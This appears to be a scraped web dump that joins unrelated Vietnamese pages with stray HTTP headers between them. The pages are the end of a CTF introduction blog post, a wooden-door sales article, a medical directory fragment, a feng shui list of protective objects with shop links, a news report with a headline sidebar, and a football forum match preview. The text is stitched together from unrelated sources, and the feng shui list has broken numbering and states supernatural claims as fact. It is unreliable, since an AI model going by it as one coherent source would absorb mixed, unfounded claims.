Như vậy, là mình đã vừa giới thiệu một vài điểm sơ qua về CTF, cũng như trình tự suy luận của mình đối với một bài thi cụ thể. Kiến thức là rất rộng (và sâu), nên chắc chắn rằng chúng ta sẽ luôn phải học hỏi hăng say nếu không muốn bị bỏ lại đằng sau và mau mau rớt hạng. Nếu bạn có gì đó không hiểu, hoặc bực mình vì chẳng biết XOR, Caesar nó là cái khỉ gì cả, thì hãy yên tâm, không ai sinh ra đã biết cộng trừ nhân chia đâu. Bạn còn rất nhiều cơ hội để tìm hiểu và tích lũy kinh nghiệm. Bạn có thể là người xuất phát muộn hơn, nhưng không ai có thể ngăn cản việc bạn về đích sớm hơn cả.

Server: Apache/2.4.25 (Ubuntu)

Link: <http://wp.me/3TyER>; rel=shortlink


markdown:
# Cửa gỗ gõ đỏ là gì? Cách nhận biết cửa gỗ gõ đỏ
*Cửa gỗ gõ đỏ* * là một dòng sản phẩm cửa gỗ rất được yêu thích hiện nay dù giá trị của nó khá cao. Vậy cửa gỗ gõ đỏ là gì và đặc điểm nhận biết cửa gỗ gõ đỏ như thế nào? Hãy cùng * [Cửa gỗ công nghiệp](http://cuagobachviet.vn/)Bách Việt tìm hiểu nhé! **Cửa gỗ gõ đỏ** là loại cửa được làm từ dòng gỗ quý hiếm, nó được liệt kê vào loại gỗ quý nằm trong nhóm 1 của danh sách những loại gỗ quý nước ta. Với một không gian nội thất cao cấp không thể không nhắc đến dòng cửa gỗ gõ đỏ. Đặc tính nổi bật của loại gỗ này là vân gỗ đẹp, cửa gỗ bền, có giá trị cao. Vậy cụ thể cửa gỗ gõ đỏ là gì và làm cách nào để nhận biết **cửa gỗ gõ đỏ**? Trong bài viết này Bách Việt sẽ giúp bạn giải đáp những thắc mắc đó. *Cửa gỗ gõ đỏ là gì? Cách nhận biết cửa gỗ gõ đỏ*
**Cửa gỗ gõ đỏ là gì?**
Gỗ gõ đỏ còn có một tên gọi khác là hổ bì, đây là loài thực vật mọc phổ biến ở nhiều nước Đông Nam Á như Lào, Việt Nam, Campuchia. Gỗ gõ đỏ được xếp vào trong sách đỏ các loại gỗ quý của Việt Nam. Cây gỗ gõ đỏ có chiều cao lên tới 30 mét, đường kính thân từ 1,8 đến 1m.
**Cửa gỗ gõ đỏ **có màu đỏ thẫm hoặc đỏ nhạt, có chỗ nổi vằn đen như da hổ. Cửa gỗ gõ đỏ cứng, nặng và rất bền đẹp.
Xem thêm:
[Cửa gỗ Lamitek](http://cuagobachviet.vn/cua-go-lamitek)
**Cách nhận biết cửa gỗ gõ đỏ **
Để nhận biết
**cửa gỗ gõ đỏ **bạn có thể nhận biết qua vân gỗ. Vân của cửa gỗ gõ đỏ có màu sắc khác so với những loại gỗ thông thường. Vân gõ đỏ láng và có những đoạn xoắn nhìn rất đẹp mắt. Đường vân gỗ gõ đỏ là đường vân lớn, giác gỗ có màu vàng xen kẽ là các vân gỗ màu đen. Nhìn vào cửa gỗ gõ đỏ bạn sẽ dễ dàng phân biệt được. *Cách nhận biết cửa gỗ gõ đỏ*
Một đặc điểm khác giúp bạn nhận biết
**cửa gỗ gõ đỏ **đó là độ nặng. Cửa gỗ gõ đỏ khi bạn cầm vào sẽ có cảm giác rất chắc chắn, khác với các dòng gỗ khác. Ngoài ra có thể nhận biết cửa gỗ gõ đỏ qua độ cứng chịu lực… Loại cửa gỗ này rất bền và có khả năng chịu lực rất tốt.
Đây là hai đặc điểm dễ nhận biết nhất khi bạn cần tìm mua
**cửa gỗ gõ đỏ**. Ngoài ra gỗ gõ đỏ cũng được phân chia làm hai loại đó là gỗ gõ đỏ Lào và gỗ gõ đỏ Nam Phi do có nguồn gốc xuất xứ khác nhau. Hai loại gỗ này cũng có giá thành khác nhau vì thế nếu bạn đang có nhu cầu mua **cửa gỗ gõ đỏ** hãy đến với Cửa gỗ Bách Việt để được tư vấn chi tiết. Chúng tôi sẽ giúp bạn lựa chọn những mẫu cửa gỗ gõ đỏ thiết kế đẹp mắt và phù hợp với không gian ngôi nhà bạn. Thông tin chi tiết quý khách hàng liên hệ với Bách Việt theo số hotline 0983 538 268.
Xem thêm:
[Cửa gỗ gõ đỏ giá bao nhiêu là hợp lý?](http://cuagobachviet.vn/cua-go-go-do-gia-bao-nhieu-la-hop-ly)

Server: Apache/2.2.15 (CentOS)

Connection: keep-alive, close

Strict-Transport-Security: max-age=63072000; includeSubDomains

Vary: Accept-Encoding,User-Agent


markdown:
Xem qua
[HÒA BÌNH](http://danhba.bacsi.com/category/trung-tam-y-te/location/hoa-binh/) » [Huyện Kỳ Sơn](http://danhba.bacsi.com/category/trung-tam-y-te/location/huyen-ky-son/) » [Trung Tâm Y Tế](http://danhba.bacsi.com/category/trung-tam-y-te/)
hoi22-02-2016
096609566522-02-2016
xin tư vấn22-02-2016
Dịch vụt tốt25-11-2014
Hiến Thận12-11-2014
160/1/26 Xô Viết Nghệ Tĩnh, Phường 21
Quận Bình Thạnh
TP. HCM
86/2 Thành Thái
Quận 10
TP. HCM
40 Đường 3/2, Phường 12
Quận 10
TP. HCM
tham my vien
446A - Đường 3/2 - P.12
Quận 10
TP. HCM
VPGD tai 42 Phương Mai, Đống Đa, TP Hà Nội
Showroom: 55 Hàng Bài
Quận Hoàn Kiếm
HÀ NỘI
Thiết bị Y tế Medisana, Phân phối và b

Server: XCOM Script

Set-Cookie: pmd_template=CT-069; expires=Mon, 21-May-2018 15:37:03 GMT; Max-Age=2592000; path=/; domain=danhba.bacsi.com

X-Cache: MISS

Accept-Ranges: bytes

Cache-Control: no-cache, must-revalidate


markdown:
**Có những vật khí mà ta tưởng chỉ dùng để chiêu tài, nhưng thực ra nó còn có tác dụng hóa sát ** **12. Chuông La Bàn Bát Quái**
Đây là loại chuông treo có in hình Bát Quái bên thân. Không giống với những chiếc chuông gió, chuông la bàn Bát Quái có hình dáng tương tự các quả chuông ở nhà chùa với 1 hình khối trụ chụp xuống và 1 thanh giửa có gắn quả bi tròn, khi có gió lắc nó sẽ chạm vào bên trong thành chuông, làm phát tán năng lượng Bát Quái ra bên ngoài.
Công năng Hoá Sát của nó mạnh hơn hầu hết các linh thú hóa sát trong Phong Thủy , nhưng nếu là kích thước quả chuông không đủ lớn sẽ không đủ lực hoá giải Hình Sát lớn. Thông thường, bên thành quả Chuông La Bàn Bát Quái được khắc hình Quan Thế Âm Bồ Tát hoặc bài Đại Bi Chú.
[http://thegioidaquy.net/phong-thuy/da-phongthuy-220-Chuong-Gio/](http://thegioidaquy.net/phong-thuy/da-phongthuy-220-Chuong-Gio/) **13. Kim Nguyên Bảo**
[http://thegioidaquy.net/phong-thuy/Kim-Tai-Bon-da-Dot-1153.html](http://thegioidaquy.net/phong-thuy/Kim-Tai-Bon-da-Dot-1153.html)
Kim Nguyên bảo chính là các thỏi vàng mà người ta thường bày trong trang thờ Thần Tài Thổ Địa, có tác dụng chính là Sinh tài, Vượng tài. Tuy nhiên, nó còn được dùng để Hóa giải chỗ ngồi, chỗ nằm vì lý do không thể xoay trở khác được, mà phải hướng lưng, đầu ra cửa sổ.
**14. Lục Đế Tiền Cổ**
Là loại tiền giả cổ ngoài tròn giửa có lỗ vuông, thuộc năm triểu đại thịnh vường của nhà Thanh: Thuận Trị, Khang Hy, Ung Chính, Càn Long, Gia Khánh, Đạo Quang. Nhiều nơi bày bán vật này hay có lối nói tiền cổ, và… chém đẹp, nhưng thực ra tiền cổ thật không có công năng mạnh bằng tiền thật.
[http://thegioidaquy.net/phong-thuy/da-phongthuy-224-Tien-co-hoa-sat/](http://thegioidaquy.net/phong-thuy/da-phongthuy-224-Tien-co-hoa-sat/)
Những người đó họ dùng chiêu bài” tiền cổ là loại tiền lưu hành thời đó, đã qua tay nhiều người sử dụng nên tốt, vì có Tài Khí”. Đó chỉ là cách nói bao biện, không hợp với lý của Phong Thủy, bởi chúng ta là người sống, cần là cần những năng lượng Dương tích cực, cần chi năng lượng Âm đó. Tiền càng mới càng có hiệu quả cao!! Chính vì vậy những đồng tiền này luôn được xỏ dây đỏ, dùng năng lượng Dương của màu đỏ để kích hoạt thêm tính Dương của các đồng tiền vậy.
Trong Phong Thủy, Tiền Lục Đế thường được dùng để Hóa Sát trong các trường hợp: Phản Quang Sát, Liêm Đao Sát, Bạch Hổ Sát, Thiên Trảm Sát, Xuyên Tâm Sát, Pháo Đài Sát, Khai Khẩu Sát, Cân Trời Xung Xạ Sát, Phản Cung Sát, Liêm Trinh Sát, Đỉnh Tâm Sát. Trong Phong Thủy Huyền Không thì Tiền Lục Đế thường dùng để Hóa Giải các sao Ngũ Hoàng, Nhị Hắc.
**15. Minh Chú Quan Âm**
Đức Quan Thế Âm thì cũng biết Ngài là bậc Đại Từ, Đại Bi chuyên cứu giúp nạn tai, cứ khổ. Còn Lục Tự Đại Minh Chú của Ngài có thể hàng yêu phục ma, giải trừ xui rủi. Cho nên cả hai kết hợp lại là vật hộ thân, giảm tai họa đến nhà, thúc đẩy tài vận và giữ bình an.
[http://thegioidaquy.net/phong-thuy/da-phongthuy-143-Mat-Ho-Vang/page/2](http://thegioidaquy.net/phong-thuy/da-phongthuy-143-Mat-Ho-Vang/page/2)
Công cụ này thường dùng cho người làm việc có tính chất giao tiếp nhiều hoặc phức tạp và thích hợp nhất với nữ giới. Do có hình tượng Quán Thế Âm nên thường mang tính giống vật trang sức đeo bên người, sẽ không có cảm giác đeo vật Phong Thủy 1 cách lộ liễu như các vật khác.
**16. Kỳ Hưu (hay Tỳ Hưu)** [http://thegioidaquy.net/phong-thuy/da-phongthuy-117-Da-Cam-Thach/page/4](http://thegioidaquy.net/phong-thuy/da-phongthuy-117-Da-Cam-Thach/page/4)
Đây là 1 loại thú trong thời Thượng Cổ. Có 2 loại: Kỳ Hưu thì có 1 sừng chuyên Chiêu Tài, Nạp Bảo. Còn Tịch Tà thì có 2 sừng chuyên Trấn Trạch. Hình dáng bên ngoài chúng thì giống nhau cả, duy chỉ khác con 1 sừng, con kia 2 sừng. Với Kỳ Hưu thì những ai có thu nhập xốc nổi, hay kiếm tiền bằng mẹo vặt rất thích hợp đặt nó.
**17. Gương Bát Quái**
Gương Bát Quái có rất nhiều loại: Gương Bát Quái phẳng, gương Bát Quái lồi, gương bát Quái lõm, những loại này thường bằng gỗ và kính. Gương Bát Quái Hổ Phù, gương Bát Quái Trấn Trạch, gương Bát Quái Chuẩn Đề, gương Bát Quái Đại Đế, những loại này bằng đồng.
[http://thegioidaquy.net/phong-thuy/Ho-Phu-Tran-Ta-Hoa-Sat–723.html](http://thegioidaquy.net/phong-thuy/Ho-Phu-Tran-Ta-Hoa-Sat--723.html)
*
**Gương Bát Quái phẳng và lồi** thường dùng để Hóa Giải các trường hợp Thương Sát, Hỏa Hình Sát, Đỉnh Tâm Sát, Tam Xoa Sát. Nhưng tùy trường hợp mà sử dụng loại nào (vì Hình Sát nhỏ không nên dùng gương Bát Quái lồi) và thêm những công cụ khác trên gương.
*
**Gương Bát Quái lõm** thường dùng để Hóa Giải các trường hợp cầu thang đổ ra đường, nhà nhìn từ cửa trước thông thẳng ra cửa sau. Và gương Bát Quái lõm là loại có thể treo trong nhà.
*
**Gương Bát Quái Hổ Phù** thường dùng để Hóa Giải Ngũ Hoàng Sát, Tam Xoa Sát, Thương sát, Đỉnh Tâm Sát, Thích Diện Sát.
*
**Gương Bát Quái Trấn Trạch** là loại gương Bát Quái đồng, 1 mặt có in hình Bát Quái, mặt kia là 1 Phù Trấn Trạch với 2 thanh thư hùng Thất Tinh Kiếm. Ngoài các công năng Hóa Giải như gương Bát Quái thường ra, nó thường dùng cho trường hợp nhà đối diện các nhà tang lễ, trại giam, bệnh viện, nghĩa trang…nói chung là những nơi có sự chết chóc.
*
**Gương Bát Quái Chuẩn Đề** là loại gương Bát Quái đồng, 1 mặt in hình Phật Chuẩn Đề với 18 tay cầm 18 món Pháp khí, mặt kia là vòng tròn Bát Quái cộng với bài chú Chuẩn Đề. Đây đúng ra là Pháp Khí Hóa Giải của Phong Thủy Mật Tông Tây Tạng, công năng của nó rất mạnh. Ngoài những tính năng đặc biệt như gương Bát Quái Trấn Trạch ở trên, nó còn dùng cho trường hợp nhà ở mà trước đây chủ trước xài Lỗ Ban nuôi “binh”, hoặc nhà có Âm binh khuấy phá. Đây là loại gương Bát Quái đồng có thể treo trong nhà.
*
**Gương Bát Quái Đại Đế** là loại gương Bát Quái đồng, 1 mặt có in hình Vô Cực Đại Thiên Tôn (chính là Ngọc Hoàng Đại Đế) với Phù Trấn Trạch, mặt kia in hình Bát Quái. Gương này ngoài những công năng đặc biệt bên trên của các gương kia còn có sức Hóa Giải các hình tượng Thập Tự Giá khổng lồ đối diện nhà, các nhà đối diện treo gương có hình Tử Vi Đại Đế cưỡi trên Kỳ Lân cầm gương Bát Quái chiếu sang nhà mình.
Guơng Bát Quái thường có 2 loại Tiên Thiên và Hậu Thiên. Hóa Sát dùng Tiên Thiên còn xoay chuyển hướng dùng Hậu Thiên.
**18. Vận Tài Đồng Tử**
Theo truyền thuyết, Vận Tài Đồng Tử chính là Thiện Tài Đồng Tử bên cạnh Quan Thế Âm Bồ Tát, chuyên biến hiện ra rất nhiều tiền bạc, của cải giúp đỡ cho người nghèo. Nên sau này người ta dùng hình tượng của Thiện Tài Đồng Tử như 1 vị Thần chuyên đem Tài Lộc đến, thành thử mới có tên Vận Tài là vậy.
Vận Tài Đồng Tử trong Phong Thủy có nhiều hình dạng khác nhau: tượng 1 đồng tử gánh 2 gánh vàng, tượng 2 đồng tử đang đẩy xe vàng (cái này có nơi còn gọi là Thôi Xa Tiến Bảo), tượng 2 đồng tử đang quay cối xay tiền, tượng đồng tử đạp trên lưng con sư tử tay cầm Hốt Như Ý… Nhưng tựu trung tất cả đều giống như nhau, với mục đích chính là Chiêu Tài Tiến Bảo.
Ngoài ra, Vận Tài Đồng Tử còn dùng trong 1 vài trường hợp Hóa Sát (thường nó đi kèm với thứ khác) như: Phản Cung Sát, Pháo Đài Sát. Đặc biệt, Vận Tài Đồng Tử rất thích hợp với nhà toàn nam giới chưa kết hôn.
**19. Mã Thượng Phong Hầu**
Vật khí này có thể là 1 bức tranh (rất hiếm), nhưng thường là tượng bằng đồng, hoặc là miếng ngọc bội. Với câu chữ hiểu theo nghĩa đen là “con khỉ cưỡi trên con ngựa” nên nó cũng mang hình dáng như vậy.
[http://thegioidaquy.net/phong-thuy/Ma-Thuong-Phong-Hau-bang-dong-1090.html](http://thegioidaquy.net/phong-thuy/Ma-Thuong-Phong-Hau-bang-dong-1090.html)
Nhưng thực ra đây là cách chơi chữ của người Hoa, vì 2 chữ “Mã Thượng” (/mă shang/) đi chung với nhau được hiểu là “lập tức”; còn “Phong Hầu” chính là phong quan tấn tước (“Hầu” là 1 tước vị rất lớn ngày xưa). Do đó ghép 2 từ lại sẽ có ý nghĩa được “lập tức thăng quan”. Vật khí này rất thích hợp cho người làm nhân viên nhà nước.
**22. Thái Sơn Thạch Cảm Đương**
Đây là Vật Hóa Sát khá phổ biến trong Phong Thủy, nhất là ngoài miền Bắc. Theo truyền thuyết thì ngày xưa ở núi Thái có 1 vị đạo sĩ tên Thạch Cảm Đương, ông nhờ tài giỏi đã đánh đuổi được yêu quái chuyên quấy nhiễu các khuê nữ, nên người ta mới dùng tên ông khắc vào đá để trấn yêu, trừ tà.
Vật khí này thường có những dạng: 1 miếng đồng khắc 5 chữ đó và thêm 1 đầu Hổ(thường thấy nhất là dạng trên gương Bát Quái đồng), 1 con Long Quy chở trên lưng tấm bia khắc 5 chữ này, 2 con Kỳ Lân ngồi trấn 2 bên bảo vệ 1 tấm bia khắc 5 chữ này( thường thấy nhất).
Ngoài việc trừ tà ma vào nhà khuấy phá, Vật Khí này còn được dùng để trấn Thương Sát lớn(giống như đồ vật chưng trên tủ hướng ra cửa, không phải treo Bát Quái, cho những ai ngại treo Bát Quái), Thiên Kiều Sát.
**21. Cóc 3 chân và Lưu Hải Tiên Nhân**
Theo truyền thuyết đây là 1 con yêu quái, được Tiên Nhân Lưu Hải thu phục và ông cũng được liệt vào trong 1 số các vị Tiên mang tài lộc đến cho dân gian. Thường thấy nhất là hình tượng cóc 3 chân dẫm lên trên các đồng tiền, cũng có loại cóc 3 chân ngồi trên 1 đế Bát Quái có tấm liễn Tài Nguyên Quảng Tấn phía trước, có loại bằng bột đá, có loại bằng đồng, cẩm thạch, thạch anh. Nhưng bằng thạch anh là hay nhất, thạch anh có năng lượng cao khi đặt nó kích tài vị tốt nhất.
[http://thegioidaquy.net/phong-thuy/da-phongthuy-226-Da-Luu-Ly/](http://thegioidaquy.net/phong-thuy/da-phongthuy-226-Da-Luu-Ly/)
Lưu Hải Tiên Nhân là vị tiên thu phục cóc 3 chân. Hình tượng của ông là 1 vị tiên 1 tay cầm sợi dây trói con cóc 3 chân, mà dây này đầu kia là 1 xâu tiền. Còn 1 hình tượng khác của ông là cầm Pháp khí, dùng để trừ tà, nhưng sau lưng ông cũng có 1 xâu tiền hàm ý Chiêu Tài.
Cóc 3 chân và tượng Lưu Hải Tiên Nhân thường đặt ở phương tài vị trong nhà. Cóc 3 chân còn thường được đặt trong trang thờ Thần Tài Thổ Địa với mặt cóc quay vào. Ngoài ra, cóc 3 chân còn được đặt ở cá góc trong nhà (đầu quay vào). Điều này được giải thích là vì bản chất của cóc thích ở chui vào các góc, xó trong nhà nên đặt ở vị trí này với hàm ý cóc về nhà cất giấu của cải, tiền bạc.
**22. Thuyền Chở Vàng**
Hình tượng này cũng là ngụ ý sự kích hoạt tài lộc trong nhà. Chiếc thuyền buồm thường thấy được chất đầy thỏi vàng, trên cánh buồm viết 4 chữ Nhất Phàm Phong Thuận (1 chiếc thuyền buồm thuận gió) hay 4 chữ Tiền Trình Dĩ Cẩm (tương lai đẹp như gấm). Có thể là loại thuyền buồm bằng gỗ, có thể là loại bằng đồng. Nhưng nếu mua dạng thuyền gỗ theo kiểu thuyền buôn cổ Trung Hoa mới là chuẩn tắc.
Vật này mang hàm ý như có 1 chiếc tàu chở đầy vàng chạy vào nhà, vào nơi làm ăn của mình, đem lại lợi lộc, của cải. Khi bài trí vật khí này, nên để mũi thuyền quay vào nhà. Nó rất thích hợp với những người làm kinh doanh và thường được bày ở các cửa hàng, nơi buôn bán.
*theo phongthuysaigon*.


markdown:
# Phạt nhóm tài xế cầm vũ khí choảng nhau náo loạn phà Vàm Cống
|
|
## Hôm nay, Công an xã Bình Thành huyện Lấp Vò, tỉnh Đồng Tháp cho biết, đã ra quyết định xử phạt hành chính nhóm người đánh nhau tại khu vực Bến phà Vàm Cống.
Theo công an, các tài xế Trần Đình Thống (46 tuổi, ngụ TP Rạch Giá, Kiên Giang), Nguyễn Văn Tỉnh (31 tuổi, ngụ huyện Kinh Dương, Hải Phòng) và Nguyễn Văn Hiến (34 tuổi, ngụ Kiến Thuỵ, Hải Phòng) bị phạt hành chính mỗi người 750.000 đồng.
>> Xem thêm:
Loading...
Tại đây, chúng tôi tổng hợp các
.
[tin tức Xã hội](/xa-hoi)mới nhất 2016, nhanh, uy tín và nóng hổi trên các tờ [báo Tiếng Việt](http://daubao.com/)hàng đầu [VN](http://daubao.com/), điều này đảm bảo giúp bạn tiếp cận các bài báo chất lượng nhất. Bài viết bạn vừa đọc bản quyền ![](http://daubao.com/imageSource/VGhlbyBEw6JuIFZp4buHdG1ybmljZWd1eQ,,.jpg)
[Bình luận của bạn !](#) [Tin cùng chuyên mục](#) [Người dân tố cáo cán bộ địa chính gian dối để nhận hàng tỷ đồng đền bù(22.03pm 21-04-2018)](http://daubao.com/nguoi-dan-to-cao-can-bo-dia-chinh-gian-doi-de-nhan-hang-ty-dong-den-bu/xa-hoi/1618877.html) [Xác định nguyên nhân ngao chết hàng loạt ở Hà Tĩnh(21.49pm 21-04-2018)](http://daubao.com/xac-dinh-nguyen-nhan-ngao-chet-hang-loat-o-ha-tinh/xa-hoi/1618865.html) [Tuyên Quang: Va chạm với xe tải, một người tử vong(21.46pm 21-04-2018)](http://daubao.com/tuyen-quang-va-cham-voi-xe-tai-mot-nguoi-tu-vong/xa-hoi/1618863.html) [Dân cần lời thật, việc thật(21.46pm 21-04-2018)](http://daubao.com/dan-can-loi-that-viec-that/xa-hoi/1618860.html) [Tin mới về](#) [Tưng bừng hội thao khối nội chính TP HCM (2018-04-21 22:01:05)](http://daubao.com/tung-bung-hoi-thao-khoi-noi-chinh-tp-hcm/the-thao/1618875.html) [Trung Quốc: Tai nạn lật thuyền khiến 11 người chết (2018-04-21 22:01:03)](http://daubao.com/trung-quoc-tai-nan-lat-thuyen-khien-11-nguoi-chet/thoi-su-quoc-te/1618874.html) [Giật cả mình với màn diễn sâu của robot thích bóp vỡ cốc nước rồi dọa xâm lăng Trái Đất (2018-04-21 22:01:04)](http://daubao.com/giat-ca-minh-voi-man-dien-sau-cua-robot-thich-bop-vo-coc-nuoc-roi-doa-xam-lang-trai-dat/cong-nghe/1618873.html) [74 tuổi vẫn cưỡi 3 bánh theo đoàn đua (2018-04-21 22:01:06)](http://daubao.com/74-tuoi-van-cuoi-3-banh-theo-doan-dua/the-thao/1618872.html) [Quyền lực phái Đẹp tại sự kiện điện ảnh lớn nhất hành tinh (2018-04-21 22:00:02)](http://daubao.com/quyen-luc-phai-dep-tai-su-kien-dien-anh-lon-nhat-hanh-tinh/phim-anh/1618871.html) [Hoa hậu Biển: Thí sinh lộ dáng chưa chuẩn khi trình diễn bikini (2018-04-21 22:00:04)](http://daubao.com/hoa-hau-bien-thi-sinh-lo-dang-chua-chuan-khi-trinh-dien-bikini/thoi-trang/1618870.html) [Ấn Độ cho phép tử hình tội phạm hiếp dâm trẻ em gái (2018-04-21 21:59:03)](http://daubao.com/an-do-cho-phep-tu-hinh-toi-pham-hiep-dam-tre-em-gai/thoi-su-quoc-te/1618869.html) [‘Trái lệnh’ Ronaldo, Real quyết chiêu mộ Lewandowski (2018-04-21 21:59:05)](http://daubao.com/trai-lenh-ronaldo-real-quyet-chieu-mo-lewandowski/the-thao/1618868.html) [Lộ ảnh chính thức: Smartphone giá rẻ LG Stylo 4 và bút stylus (2018-04-21 21:56:03)](http://daubao.com/lo-anh-chinh-thuc-smartphone-gia-re-lg-stylo-4-va-but-stylus/cong-nghe/1618867.html) [Từng sở hữu thân hình mũm mĩm, thừa cân nhưng Yoon Eun Hye đã giảm 6kg thành công nhờ bí quyết này (2018-04-21 21:55:02)](http://daubao.com/tung-so-huu-than-hinh-mum-mim-thua-can-nhung-yoon-eun-hye-da-giam-6kg-thanh-cong-nho-bi-quyet-nay/suc-khoe/1618866.html) [Xác định nguyên nhân ngao chết hàng loạt ở Hà Tĩnh (2018-04-21 21:49:02)](http://daubao.com/xac-dinh-nguyen-nhan-ngao-chet-hang-loat-o-ha-tinh/xa-hoi/1618865.html) [Chung kết Hoa hậu Biển Việt Nam toàn cầu: 40 thí sinh trình diễn bikini nóng bỏng (2018-04-21 21:49:04)](http://daubao.com/chung-ket-hoa-hau-bien-viet-nam-toan-cau-40-thi-sinh-trinh-dien-bikini-nong-bong/hau-truong/1618864.html) [Tuyên Quang: Va chạm với xe tải, một người tử vong (2018-04-21 21:46:03)](http://daubao.com/tuyen-quang-va-cham-voi-xe-tai-mot-nguoi-tu-vong/xa-hoi/1618863.html) [Ngôi chùa màu trắng đặc biệt ở 'xứ sở chùa vàng' (2018-04-21 21:46:06)](http://daubao.com/ngoi-chua-mau-trang-dac-biet-o-39xu-so-chua-vang39/du-lich/1618862.html) [Muốn điều trị rối loạn cương dương kiểu mới (2018-04-21 21:46:05)](http://daubao.com/muon-dieu-tri-roi-loan-cuong-duong-kieu-moi/tai-chinh-dau-tu/1618861.html) [Dân cần lời thật, việc thật (2018-04-21 21:46:04)](http://daubao.com/dan-can-loi-that-viec-that/xa-hoi/1618860.html) [Kiến trúc không gian sống nhân văn, an toàn (2018-04-21 21:41:02)](http://daubao.com/kien-truc-khong-gian-song-nhan-van-an-toan/xa-hoi/1618859.html) [Jackpot “nổ không phanh“, 3 tỷ phú Vietlott xuất hiện trong 1 tuần (2018-04-21 21:41:04)](http://daubao.com/jackpot-no-khong-phanh-3-ty-phu-vietlott-xuat-hien-trong-1-tuan/thi-truong/1618858.html) [Con sếp Korean Air Lines ném chai nước vào quản lý, trụ sở của cha bị đột kích (2018-04-21 21:41:03)](http://daubao.com/con-sep-korean-air-lines-nem-chai-nuoc-vao-quan-ly-tru-so-cua-cha-bi-dot-kich/thoi-su-quoc-te/1618857.html) [Dịch vụ người giúp việc khỏa thân nhận được phản ứng tích cực (2018-04-21 21:39:04)](http://daubao.com/dich-vu-nguoi-giup-viec-khoa-than-nhan-duoc-phan-ung-tich-cuc/thoi-su-quoc-te/1618856.html)
-
[Lịch trực tiếp bóng đá hôm nay (21/4): HAGL tiếp đón Đà Nẵng, Man Utd đối đầu Tottenham ở bán kết FA Cup](/lich-truc-tiep-bong-da-hom-nay-214-hagl-tiep-don-da-nang-man-utd-doi-dau-tottenham-o-ban-ket-fa-cup/cong-dong-mang/1618527.html)
-
[Xem ngôi nhà 3 tầng bất ngờ đổ sập bởi... hàng ngàn con chuột](/xem-ngoi-nha-3-tang-bat-ngo-do-sap-boi-hang-ngan-con-chuot/du-lich/1612573.html)
-
[Đến thăm phiên chợ nguy hiểm nhất thế giới](/den-tham-phien-cho-nguy-hiem-nhat-the-gioi/du-lich/1610397.html)
-
[Lịch trực tiếp bóng đá hôm nay (14/4): HAGL làm khách của Sài Gòn, Man City chạm trán Tottenham](/lich-truc-tiep-bong-da-hom-nay-144-hagl-lam-khach-cua-sai-gon-man-city-cham-tran-tottenham/cong-dong-mang/1604860.html)
-
[Ngôi làng tý hon được rao bán với giá gần 20 tỷ đồng](/ngoi-lang-ty-hon-duoc-rao-ban-voi-gia-gan-20-ty-dong/du-lich/1596596.html)
-
[Du khách đến vườn thú được tặng hộp chứa 2kg chất thải động vật](/du-khach-den-vuon-thu-duoc-tang-hop-chua-2kg-chat-thai-dong-vat/du-lich/1596489.html)
-
[Thót tim dò từng bước trên cây cầu dẫn tới địa ngục](/thot-tim-do-tung-buoc-tren-cay-cau-dan-toi-dia-nguc/du-lich/1594906.html)
-
[Lịch trực tiếp bóng đá hôm nay (1/4): Thanh Hóa tiếp đón SLNA, Chelsea đối đầu Tottenham](/lich-truc-tiep-bong-da-hom-nay-14-thanh-hoa-tiep-don-slna-chelsea-doi-dau-tottenham/cong-dong-mang/1578420.html) [Tin đọc nhiều](#) [Cộng đồng](#)
Loading...

Server: cloudflare

Content-Type: text/html


markdown:
CLOCK
Đăng Nhập
Số lượt truy cậpBắt đầu hoạt động: 23/09/2010
Latest topics
[21h30 ngày 6/11, sân Imtech-Arena: Hamburg - Hoffenheim ](/t2359-topic)
[21h30 ngày 6/11, sân Imtech-Arena: Hamburg - Hoffenheim ](/t2359-topic#6207) **Kịch bản bi đát** **Bị loại khỏi cúp QG Đức bằng thất bại vuốt mặt không kịp tại Frankfurt (2-5), rồi tiếp tục ngậm đắng tại Cologne, Hamburg đang tan vỡ theo đúng… lộ trình của những mùa giải trước. Mà thường thì khi Hamburg đã tuột dốc, khó ai cứu nổi họ.**
Hamburg đã tiến gần tới cột mốc 500 trận thất bại ở Bundesliga (499 trận). Hiện nay mới chỉ có 4 CLB chạm ngưỡng 500 trận thua (và hơn) là Frankfurt, K’lautern, Schalke và Stuttgart). Không ít người lo ngại Hamburg sẽ đạt tới con số 500 này và điều đó hoàn toàn có thể xảy ra khi Hoffenheim đang có cảm hứng chiến đấu mãnh liệt, còn Hamburg đang trải qua thời gian khủng hoảng trầm trọng.
Buổi tập giữa tuần qua đã lấy đi của Hamburg 2 tiền đạo chủ lực van Nistelrooy, Petric. Danh sách chấn thương của Hamburg gồm toàn yếu nhân như Rost, Aogo, Benjamin, Diekmeier, Castelen, Elia, Jansen, Torun. Đương nhiên, Hamburg sẽ tiếp Hoffenheim bằng đội hình siêu dự bị, đặc biệt là hàng thủ. Mất hết hậu vệ, Rangnick phải dùng Ze Roberto đá hậu vệ trái, Rincon chuyên dự bị phải chơi hậu vệ phải. Đó sẽ là cơ hội tốt cho hàng công vừa hay vừa may của Hoffenheim tìm kiếm bàn thắng đầu tiên tại Hamburg.
![ ](http://baobongda.com.vn/images/stories/0110/BDQT/BDDUC/kichbanb4.jpg)
![ ](http://baobongda.com.vn/images/stories/0110/BDQT/BDDUC/kichbanb4.jpg)
Ba trận gần đây, Hoffenheim chơi thứ bóng đá đầy khiêu khích, và khiến các đối thủ nhận 3 thẻ đỏ, kiếm 2 quả penalty để nâng tổng số phạt đền mà họ được hưởng từ khi lên Bundesliga mùa 2008/09 thành 18 quả (15 thành bàn). Ngược lại, Hamburg “xui” hơn nhiều khi cùng thời gian đó chỉ nhận được 4 quả penalty. Rất có thể xảy ra kịch bản: trận đấu căng thẳng đến phút 85, Westermann phạm lỗi trong vòng cấm, nhận thẻ đỏ và Salihovic mang về chiến thắng cho Hoffenheim từ quả penalty thứ 19…
**Đội hình dự kiến:**
Hamburg: Drobny, Rincon, Westermann, Mathijsen, Ze Roberto, Jarolim, Kacar, Son, Trochowski, Pitroipa, Guerrero.
Hoffenheim: Starke, Beck, Vorsah, Compper, Ibertsberger, Weis, Luiz Gustavo, Salihovic, Sigurdsson, Ba, Mlapa.
**Dự đoán: 1-2**
***************Chữ Ký cá nhân****************
![ ](http://img.photo.zing.vn/file_uploads/gallery/w642h/q32008/2008/11/06/07/63081225930897.jpg)
Tôi biết tôi là ai. Tôi là
**nguyenho**và tôi sẽ không bao giờ thay đổi. Tôi có mặt tại 4rum và toi sẽ cống hiến hết mình cho diễn đàn ![ silent](https://imgfast.net/users/3115/14/71/07/smiles/229623.gif)
Bạn
**Permissions in this forum:** **không có quyền**trả lời bài viết
